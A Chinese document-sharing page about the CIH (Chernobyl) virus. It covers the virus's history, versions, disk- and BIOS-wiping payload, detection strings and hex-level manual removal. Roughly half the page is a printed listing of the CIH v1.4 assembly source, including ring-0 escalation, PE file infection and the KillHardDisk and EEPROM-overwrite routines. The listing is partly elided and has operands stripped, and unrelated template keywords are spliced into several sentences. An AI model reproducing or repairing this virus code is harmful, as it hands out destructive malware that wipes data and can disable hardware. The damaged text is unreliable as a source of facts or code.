首页 CIH病毒

CIH病毒

举报
开通vip

CIH病毒CIH病毒 CIH病毒简介 CIH病毒查杀:目前市面上大部分杀软如金山毒霸,江民杀毒软件等都能有效查杀此病毒,而且目前市面上绝大多数电脑都已使用win XP系统,此病毒对NT以上系统(win NT,2000,XP,2003,VISTA等)已无危害 CIH病毒是一种能够破坏计算机系统硬件的恶性病毒。据目前掌握的材料来看,这个病 毒产自台湾,最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播,随后进一步通 过Internet传播到全世界各个角落。 CIH病毒传播的主要途径是Internet和电子邮件,当然随着...

CIH病毒
CIH病毒 CIH病毒简介 CIH病毒查杀:目前市面上大部分杀软如金山毒霸,江民杀毒软件等都能有效查杀此病毒,而且目前市面上绝大多数电脑都已使用win XP系统,此病毒对NT以上系统(win NT,2000,XP,2003,VISTA等)已无危害 CIH病毒是一种能够破坏计算机系统硬件的恶性病毒。据目前掌握的材料来看,这个病 毒产自台湾,最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播,随后进一步通 过Internet传播到全世界各个角落。 CIH病毒传播的主要途径是Internet和电子邮件,当然随着时间的推移,它也会通过软 盘或光盘的交流传播。据悉,权威病毒搜集网目前报道的CIH病毒, “原体”加“变种”一共有五种之多,相互之间主要区别在于“原体”会使受感染文件增长,但不具破坏力;而“变 种”不但使受感染的文件增长,同时还有很强的破坏性,特别是有一种“变种”,每月26日都会发作。 CIH病毒只感染Windows 95/98操作系统,从目前 分析 定性数据统计分析pdf销售业绩分析模板建筑结构震害分析销售进度分析表京东商城竞争战略分析 来看,它对DOS操作系统似乎还没有什么影响,所以,对于仅使用DOS的用户来说,这种病毒似乎并没有什么影响,但如果 是Windows 95/98用户就要特别注意了。正是因为CIH独特地使用了VxD技术,使得这种病毒在Windows环境下传播的实时性和隐蔽性都特别强,使用一般反病毒软件很难发现这种病 毒在系统中的传播。 CIH病毒“变种”在每年4月26日(有一种变种是每月26日)都会发作。发作时硬盘 一直转个不停,所有数据都被破坏,硬盘分区信息也将丢失。CIH病毒发作后,就只有对硬 盘进行重新分区了。再有就是CIH病毒发作时也可能会破坏某些类型主板的电压,改写只读 存储器的BIOS,被破坏的主板只能送回原厂修理,重新烧入BIOS。 CIH病毒破坏哪一类BIOS 当然,CIH对BIOS的破坏,也并非想像中的那么可怕。 现在PC机基本上使用两种只读存储 器存放BIOS数据,一种是使用传统的ROM或EPROM,另一种就是E2PROM。厂家事先将BIOS以特殊手段“烧”入(又称“固化”)到这些存储器中,然后将它们安装在PC机里。当我们打开计算机电源时,BIOS中程序和数据首先被执行、加载,使得我们的系统能够正确识别机 器里安装的各种硬件并调用相应的驱动程序,然后硬盘再开始引导操作系统。 固化在ROM或EPROM中的数据,只有施加以特殊的电压或使用紫外线才有可能被清除,这就是为什么我 们打开有些计算机机箱时,可能会看到有块芯片上贴着一小块银色或黑色纸块的原因——防 止紫外线清除BIOS数据。要清除存储在这类只读存储器中的数据,仅靠计算系统内部的电压 是不够的。所以,仅使用这种只读存储器存储BIOS数据的用户,就没有必要担心CIH病毒会破坏BIOS。 但最新出产的计算机,特别是Pentium以上的计算机基本上都使用了E2PROM存储部分BIOS。E2PROM又名“电可改写只读存储器”。一般情况下,这种存储器中的数据并不 会被用户轻易改写,但只要施加特殊的逻辑和电压,就有可能将E2PROM中的数据改写掉。使用PC机的CPU逻辑和计算机内部电压就可轻易实现对E2PROM的改写,这正是我们通过软件 升级BIOS的原理,也是CIH破坏BIOS的基本方法。 改写E2PROM内的数据需要一定的逻辑 条件,不同PC机系统对这种条件的要求可能并不相同,所以CIH并不会破坏所有使用E2PROM存储BIOS的主板,目前报道的只有技嘉和微星等几种5V主板,这并不是说这些主板的质量 不好,只不过其E2PROM逻辑正好与CIH吻合,或者CIH的编制者也许就是要有目的地破坏某 些品牌的主板。 所以,要判断CIH对您的主板究竟有没有危害,首先应该判别您的BIOS是仅仅烧在ROM/EPROM之中,还是有一部分使用了E2PROM。 需要注意的是,虽然CIH并不会破坏所有BIOS,但CIH在“黑色”的26日摧毁硬盘上所有数据远比破坏BIOS要严重得多——这是每个感染CIH病毒的用户不可避免的。 CIH病毒的版本 CIH病毒属文件型病毒,杀伤力极强,其别名有Win95.CIH、Spacefiller、Win32.CIH、PE_CIH,它主要感染Windows95/98下的可执行文件(PE格式,Portable Executable Format),目前的版本不感染 DOS以及WIN 3.X(NE格式,Windows and OS/2 Windows 3.1 execution File Format)下的可执行文件,并且在Win NT中无效。其发展过程经历了v1.0,v1.1、v1.2、v1.3、v1.4总共5个版本,目前最流行的是v1.2版本,在此期间,据某些报导,同时产生了不下十个的变 种,不过好像没有流行起来的迹象,本人并未实际接触到这些所谓的CIH变种病毒。 CIH病毒的各种不同版本的随时间的发展不断完善,其基本发展历程为: 1.0:最初的 V1.0版本仅仅只有 656字节,其雏形显得比较简单,与普通类型的病毒在 结构上并无多大的改善,其最大的“卖点”是在于其是当时为数不多的、可感染Microsoft Windows PE类可执行文件的病毒之一,被其感染的程序文件长度增加,此版本的CIH不具有破坏性。 1.1:当其发展到v1.1版本时,病毒长度为796字节,此版本的CIH病毒具有可判断Win NT软件的功能,一旦判断用户运行的是Win NT,则不发生作用,进行自我隐藏,以避免产生 错误提示信息,同时使用了更加优化的代码,以缩减其长度。此版本的CIH另外一个优秀点在于其可以利用WIN PE类可执行文件中的“空隙”,将自身根据需要分裂成几个部分后,分 别插入到PE类可执行文件中,这样做的优点是在感染大部分WINPE类文件时,不会导致文件 长度增加。 1.2:当其发展到v1.2版本时,除了改正了一些v1.1版本的缺陷之外,同时增加了破坏 用户硬盘以及用户主机BIOS程序的代码,这一改进,使其步入恶性病毒的行列,此版本的 CIH病毒体长度为1003字节。 1.3:原先v1.2版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件(ZIP self-extractors file)时,将导致此ZIP压缩包在自解压时出现如下的错误警告信息: WinZip Self-Extractor header corrupt. Possible cause: disk or file transfer error. v1.3版本的CIH病毒显得比较仓促,其改进点便是针对以上缺陷的,它的改进方法是:一旦 判断开启的文件是WinZip类的自解压程序,则不进行感染。同时,此版本的CIH病毒修改了发作时间。v1.3版本的CIH病毒长度为1010字节。 1.4:此版本的CIH病毒改进上上几个版本中的缺陷,不感染ZIP自解压包文件,同时修改了发作日期及病毒中的版权信息(版本信息被更改为:“CIH v1.4 TATUNG”,在以前版本中的相关信息为“CIH v1.x TTIT”),此版本的长度为1019字节。 从上面的说明中,我们可以看出,实际上,在CIH的相关版本中,只有v1.2、v1.3、v1.4这3个版本的病毒具有实际的破坏性,其中v1.2版本的CIH病毒发作日期为每年的4月26日,这也就是当前最流行的病毒版本,v1.3版本的发作日期为每年的6月26日,而CIH v1.4版本的发作日期则被修改为每月的26日,这一改变大大缩短了发作期限,增加了其的破坏性。 CIH病毒发作特征 CIH属恶性病毒,当其发作条件成熟时,其将破坏硬盘数据,同时有 可能破坏BIOS程序,其发作特征是: 1、以2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘 数据被全部破坏为止。最坏的情况下硬盘所有数据(含全部逻辑盘数据)均被破坏,如果重要信息没有备份,那就只有哭了! 2、某些主板上的Flash Rom中的BIOS信息将被清除。 感染CIH病毒的特征 由于流行的CIH病毒版本中,其标识版本号的信息使用的是明文,所以可以通过搜索可执行文件 中的字符串来识别是否感染了CIH病毒,搜索的特征串为“CIH v”或者是“CIH v1.”如果你想搜索更完全的特征字符串,可尝试“CIH v1.2 TTIT”、“CIH v1.3 TTIT”以及“CIH v1.4 TATUNG”,不要直接搜索“CIH”特征串, 因为此特征串在很多的正常程序中也存在,例如程 序中存在如下代码行: inc bx dec cx dec ax 则它们的特征码正好是“CIH(0x43;0x49;0x48)”,容易产生误判。 具体的搜索方法为:首先开启“资源管理器”,选择其中的菜单功能“工具>查找>文件或 文件夹”,在弹出的“查找文件”设置窗口的“名称和位置”输入中输入查找路径及文件名(如:*.EXE),然后在“高级>包含文字”栏中输入要查找的特征字符串--“CIH v”,最后点劝查找键”即可开始查找工作。如果在查找过程中, 显示出一大堆符合查找特征的可执行文件,则 关于同志近三年现实表现材料材料类招标技术评分表图表与交易pdf视力表打印pdf用图表说话 pdf 明您老的计算机上已经感染了CIH病毒。 实际上,在以上的方法中存在着一个致命的缺点,那就是:如果用户刚刚感染CIH病毒,那么这样一个大面积的搜索过程实际上也是在扩大病毒的感染面。 一般情况下,推荐的方法是先运行一下“写字板”软件,然后使用上面的方法在“写字 板”软件的可执行程序Notepad.exe中搜索特征串,以判断是否感染了CIH病毒。 另外一个判断方法是在Windows PE文件中搜索IMAGE_NT_SIGNATURE字段,也就是0x00004550,其代表的识别字符为“PE00”,然后查看其前一个字节是否为0x00,如果是,则表示程序未受感 染,如果为其他数值,则表示很可能已经感染了CIH病毒。 最后一个判断方法是先搜索IMAGE_NT_SIGNATURE字段--“PE00”,接着搜索其偏移0x28位置处的值是否为55 8D 44 24 F8 33 DB 64,如果是,则表示此程序已被感染。 还听说凡是感染了CIH病毒的机器,如果玩NEED FOR SPEED II(极品飞车2)游戏时,会在读取游戏光盘时出现死机现象, 本人没有尝试过,不知道实际上是不是有这一情况存在。 适合高级用户使用的一个方法是直接搜索特征代码,并将其修改掉,方法是:先处理掉 两个转跳点,即搜索:5E CC 56 8B F0 特征串以及5E CC FB 33 DB特征串,将这两个特征串中的CC改90(nop),接着搜索 CD 20 53 00 01 00 83 C4 20 与 CD 20 67 00 40 00特征字串,将其全部修改为90,即可(以上数值全部为16进制)。 另外一种方法是将原先的PE程序的正确入口点找回来,填入当前入口点即可(此处以一 个被感染的CALC.EXE程序为例),具体方法为:先搜IMAGE_NT_SIGNATURE字段--“PE00”,接着将距此点偏移0x28处的4个字节值,例如“A0 02 00 00”(0x000002A0),再由此偏移所指的位置(即0x02A0)找到数据“55 8D 44 24 F8 33 DB 64”, 并由0X02A0加上0X005E得到0x02FE偏移,此偏移处的数据例如为“CB 21 40 00(”OXOO4021CB),将此值减去OX40000,将得数--“CB 21 00 00”(OXOO0021CB)值放回到距“PE00”点偏移0x28的位置即可(此处为Windows PE格式程序的入口点,术语称为Program Entry Point)。最后将“55 8D 44 24 F8 33 DB 64”全部填成“00”,使得我们容易判断病毒是否已经被杀除过。 按照上面手工杀毒的方法一般适合于某些单独的软件(例如某些软件包含在软盘中,却被感染了CIH不读,可现在就要用,呵呵!)。使用上述方法的缺点在于病毒体还将保留在可执行文件中,虽然不 会起作用, 但是想起来可能会有点不舒服(记得“WPS2000测试版残留CIH病毒尸体”的事件么?)。所以,想彻底杀灭,推荐使用某些反病毒软件进行或是CIH专用杀毒工具(以上操作以及使用反病毒软件进行杀毒,必须使用干净的系统盘启动计算机)。 来源 CIH病毒是一位名叫陈盈豪的台湾大学生所编写的,从台湾传入大陆地区的。CIH的载体是一个名为“ICQ中文Chat模块”的工具,并以热门盗版光盘游戏如“古墓奇兵”或Windows95/98为媒介,经互联网各网站互相转载,使其迅速传播。目前传播的主要途径主要通过Internet和电子邮件,当然随着时间的推移,其传播主要仍将通过软盘或光盘途径。 小结 CIH病毒是一种能够破坏计算机系统硬件的恶性病毒。据目前掌握的材料来看,这个病毒产自台 湾,最早随国际两大盗版集团贩卖的盗版光盘在欧美等地广泛传播,随后进一步通过 Internet传播到全世界各个角落。 目前传播的途径主要通过Internet和电子邮件。计算机病毒的传播已摆脱了传统存储介质的束缚,Internet和光盘现已成为加速计算机病毒传播最 有效的催化剂。CIH病毒只感染Windows95/98操作系统,从目前分析来看它对DOS操作系统似乎还没有什么影响,这可能是因为它使用了Windows下的VxD(虚拟设备驱动程序)技术 造成的。所以,对于仅使用DOS的用户来说,这种病毒似乎并没有什么影响,但如果是 Windows95/98用户就要特别注意了。正是因为CIH独特地使用了VxD技术,使得这种病毒在 Windows环境下传播,其实时性和隐蔽性都特别强,使用一般反病毒软件很难发现这种病毒 在系统中的传播。 CIH病毒每月26日都会爆发(有一种版本是每年4月26日爆发)。CIH病毒发作时,一方面全面破坏计算机系统硬盘上的数据,另一方面对某些计算机主板的BIOS进行改写。BIOS被改写后,系统无法启动,只有将计算机送回厂家修理,更换BIOS芯片。由于CIH病毒对数据和硬件的破坏作用都是不可逆的,所以一旦CIH病毒爆发,用户只能眼睁睁地看着价值万元的计算机和积累多年的重要数据毁于一旦。CIH病毒现已被认定是首例能够破坏计算机系统硬件的病毒,同时也是最具杀伤力的恶性病毒。 从技术角度来看,CIH病毒实现了与操作系统的完美结合。该病毒使用了Windows95/98最核心的VxD技术编制,被认为是牢固地连接到了操作系统底层,所以CIH病毒既不会向DOS操作系统传播,也不会向WindowsNT操作系统扩散。CIH病毒的这一技术特点给我们使用传统反病毒技术防治计算机病 毒提出了巨大的挑战,这是因为我们所使用的传统反病毒工具基本上都是纯DOS或工作在Windows95之下的仿真DOS应用程序,它们无法深入到Windows95/98操作系统的底层去彻底清除CIH病毒;另一方面,由于能够与操作系统底层紧密结合,CIH病毒的传播就更为迅速、隐蔽。防治类似CIH这种能够与操作系统紧密结合的病毒最好的方法是使用本身能够与各种 操作系统紧密结合的反病毒软件。 CIH 病毒是一种运用最新技术,会 Format 硬碟的最新病毒,通常都利用网路族上网时,进行传播感染 。目前最新的变种病毒为CIH 会在每月 26 日发病,并会展现最强大的破坏力-Format 硬碟. CIH病毒平常并没有作什么破坏性的动作, 也没有显示任何画面,只是占用部份记忆体而已。但是有些 32-bit的程式被感染之后,运作会不正常,甚至会造成当机。但是,CIH病毒长驻在主记忆体之后,每次 执行时,会检查电的日期是否为?4月26日?,如果是,它会透果你的电脑I/O部:CF8,CFD,CFE修改你 的电脑的某些设定,并且把你电脑所有硬盘的资料都毁了,甚至连硬盘数据区及引导区的资料 都不在了 ,并且让电脑当机。当你重新开机,屏幕会出现"DISK BOOT FAILURE, INSERT SYSTEM DISK AND PRESS ENTER"(硬盘引导失败,请插入系统盘后敲击回车)。若是用软盘引导开机再执行C:指令,则出现"Invalid drive specification"(不可用的驱动器编号)。即使曾经有备份引导区资料,但是你磁盘中的资料已全毁,可不可以开机已经没有意义了 注意:CIH是迄今为止唯一能破坏计算机硬件的病毒。 CIH的病毒源代码 ; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.4 * ; * Modification Time : 05/31/1998 * ; * * ; * Turbo Assembler Version 4.0 : tasm /m cih * ; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; * Modification History * ; *==========================================================================* ; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesn't Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesn't be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also don't be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; * Previous FileSystemApiHook, it will Call the Function * ; * that the IFS Manager Would Normally Call to Implement * ; * this Particular I/O Request. * ; * 10. The Virus Size is only 656 Bytes. * ; *==========================================================================* ; * v1.1 1. Especially, the File that be Infected will not Increase * ; * it's Size... ^__^ * ; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * ; * When Exception Error Occurs, Our OS System should be in * ; * Windows NT. So My Cute Virus will not Continue to Run, * ; * it will Jmup to Original Application to Run. * ; * 3. Use Better Algorithm, Reduce Virus Code Size. * ; * 4. The Virus "Basic" Size is only 796 Bytes. * ; *==========================================================================* ; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * ; * 2. Modify the Bug of v1.1 * ; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * ; *==========================================================================* ; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * ; * So When Open WinZip Self-Extractor ==> Don't Infect it. * ; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * ; *==========================================================================* ; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * ; * 2. Change the Date of Killing Computers. * ; * 05/31/1998 3. Modify Virus Version Copyright. * ; * 4. The Virus "Basic" Size is 1019 Bytes. * ; **************************************************************************** .586P ; **************************************************************************** ; * Original PE Executable File(Don't Modify this Section) * ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize lea ecx, StopToRunVirusCode-@0 push ecx push eax ; ************************************* ; * Let's Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, ; Get Exception Base mov bp, ; Entry Point lea esi, MyExceptionHook-@1 push esi mov , si ; shr esi, 16 ; Modify Exception mov , si ; Entry Point Address pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Aga ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; ************************************* StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs: mov esp, RestoreSE: pop dword ptr fs: pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point ; ********************************************************* ; * Ring0 Virus Game Initial Program * ; ********************************************************* MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr , ReadyRestoreSE-ReturnAddressOf dException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov , bp ; shr ebp, 16 ; Restore Exception mov , bp ; iretd ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exis in System push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h xchg edi, eax ; EDI = SystemMemory Start Addr s lea eax, MyVirusStart-@2 iretd ; Return to Ring3 Initial Program ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6 push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Add ss pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2 mov edx, mov OldInstallFileSystemApiHook-@3, edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3 mov , eax cli jmp ExitRing0Init ; ********************************************************* ; * Code Size of Merge Virus Code Section * ; ********************************************************* CodeSizeOfMergeVirusCodeSection = offset $ ; ********************************************************* ; * IFSMgr_InstallFileSystemApiHook * ; ********************************************************* InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags pop eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr call OldInstallFileSystemApiHook-@3 pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3 pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook A ress pop eax pop ebx ret ; ********************************************************* ; * Static Data * ; ********************************************************* OldInstallFileSystemApiHook dd ? ; ********************************************************* ; * IFSMgr_FileSystemHook * ; ********************************************************* ; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; ************************************* FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAdd ss add esi, VirusGameDataStartAddress-@5 ; ************************************* ; * Is OnBusy !? * ; ************************************* test byte ptr (OnBusy-@6), 01h ; if ( OnBusy ) jnz pIFSFunc ; goto pIFSFunc ; ************************************* ; * Is OpenFile !? * ; ************************************* ; if ( NotOpenFile ) ; goto prevhook lea ebx, cmp dword ptr , 00000024h jne prevhook ; ************************************* ; * Enable OnBusy * ; ************************************* inc byte ptr (OnBusy-@6) ; Enable OnBusy ; ************************************* ; * Get FilePath's DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is 'C:'. * ; ************************************* ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov , eax inc esi inc esi ; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; ************************************* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, mov eax, add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ; ************************************* ; * Is FileName '.EXE' !? * ; ************************************* ****************************************(已省略) mov word ptr (BooleanCalculateCode-@10), 100ch call esi ; *************************** ; * Kill All HardDisk * ; *************************************************** ; * IOR Structure of IOS_SendCommand Needs * ; *************************************************** ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; *************************************************** KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h mov , al mov byte ptr , 80h mov , cl mov , al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ********************************************************* ; * Static Data * ; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h VxDCallTableSize = ($-VxDCallIDTable)/04h ; ********************************************************* ; * Virus Version Copyright * ; ********************************************************* VirusVersionCopyright db 'CIH v' db MajorVirusVersion+'0' db '.' db MinorVirusVersion+'0' db ' TATUNG' ; ********************************************************* ; * Virus Size * ; ********************************************************* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTa e(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; * Dynamic Data * ; ********************************************************* VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd ? FileNameBuffer db FileNameBufferSize dup(?) @7 = FileNameBuffer DataBuffer = $ @8 = DataBuffer NumberOfSections dw ? TimeDateStamp dd ? SymbolsPointer dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? _Characteristics dw ? Magic dw ? LinkerVersion dw ? SizeOfCode dd ? SizeOfInitializedData dd ? SizeOfUninitializedData dd ? AddressOfEntryPoint dd ? BaseOfCode dd ? BaseOfData dd ? ImageBase dd ? @9 = $ SectionAlignment dd ? FileAlignment dd ? OperatingSystemVersion dd ? ImageVersion dd ? SubsystemVersion dd ? Reserved dd ? SizeOfImage dd ? SizeOfHeaders dd ? SizeOfImageHeaderToRead = $-NumberOfSections NewAddressOfEntryPoint = DataBuffer ; DWORD SizeOfImageHeaderToWrite = 04h StartOfSectionTable = @9 SectionName = StartOfSectionTable ; QWORD VirtualSize = StartOfSectionTable+08h ; DWORD VirtualAddress = StartOfSectionTable+0ch ; DWORD SizeOfRawData = StartOfSectionTable+10h ; DWORD PointerToRawData = StartOfSectionTable+14h ; DWORD PointerToRelocations = StartOfSectionTable+18h ; DWORD PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD NumberOfRelocations = StartOfSectionTable+20h ; WORD NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD Characteristics = StartOfSectionTable+24h ; DWORD SizeOfScetionTable = Characteristics+04h-SectionName ; ********************************************************* ; * Virus Total Need Memory * ; ********************************************************* VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) 新CIH病毒 与传统的CIH 病毒不同,新CIH病毒(WIN32.Yami)可以在Windows 2000/XP下运行,因此新CIH病毒的 破坏范围比传统CIH病毒大得多。2003年5月17日,瑞星全球反病毒监测网络率先截获该 恶性病毒,由于该病毒的破坏能力与当年臭名昭著的CIH病毒几乎完全一样,因此瑞星将该 病毒命名为新CIH病毒。 